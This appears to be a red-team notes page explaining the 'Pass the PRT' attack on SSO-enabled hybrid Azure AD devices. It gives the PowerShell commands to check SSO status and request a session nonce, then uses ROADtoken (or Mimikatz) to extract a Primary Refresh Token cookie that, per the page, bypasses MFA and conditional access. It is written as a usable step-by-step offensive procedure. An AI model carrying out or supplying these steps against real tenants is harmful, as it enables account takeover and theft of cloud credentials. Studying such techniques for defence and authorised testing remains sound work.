> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/aad/pass-the-prt.md).

# Pass the PRT

This attack exploits devices with SSO enabled in hybrid Azure environments. PRTs can authenticate into **any** application, bypass MFA with the built-in MFA claim and satisfy every conditional access policy.

This attack leverages the native presence of the `BrowserCore` extension on devices with SSO enabled, this extension allows to generate and sign a PRT but requires a session nonce so the attacker can initialize a SSO session to obtain the initial nonce and then pipe the requests to the extension to get the full PRT out of it.

To perform the attack we'll use an awesome tool called [ROADtoken](https://github.com/dirkjanm/ROADtoken) but Mimikatz can be used as well. Checking if SSO is enabled on a host is a simple as using

```powershell
Dsregcmd.exe /status
```

The `AzureAdPrt` and `AzureAdJoined` fields should both be set to `YES`.

If the host satisfies these conditions we can go ahead and request a session nonce

```powershell
PS /home/otter> $tenantId = "<tenant_id>"
PS /home/otter> $url = "https://login.microsoftonline.com/$TenantId/oauth2/token"
PS /home/otter> $params = @{
>> "URI" = $url
>> "Method" = "POST"
>> }
PS /home/otter> $body = @{
>> "grant_type" = "srv_challenge"
>> }
PS /home/otter> $result = Invoke-RestMethod $params -UseBasicParsing -Body $body
PS /home/otter> $result.Nonce
```

With the nonce value we can request an actual PRT

```powershell
PS /home/otter> .\ROADToken.exe "<nonce>"
```

this will return a JSON object with a `x-ms-RefreshTokenCredential` field that can be used as a cookie to authenticate.

As mentioned, this attack can also be pulled off with Mimikatz, the process is longer but it allows to get a better overview of how the tokens are created by the browser extension.

To know more about the process i suggest reading [this](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap) post.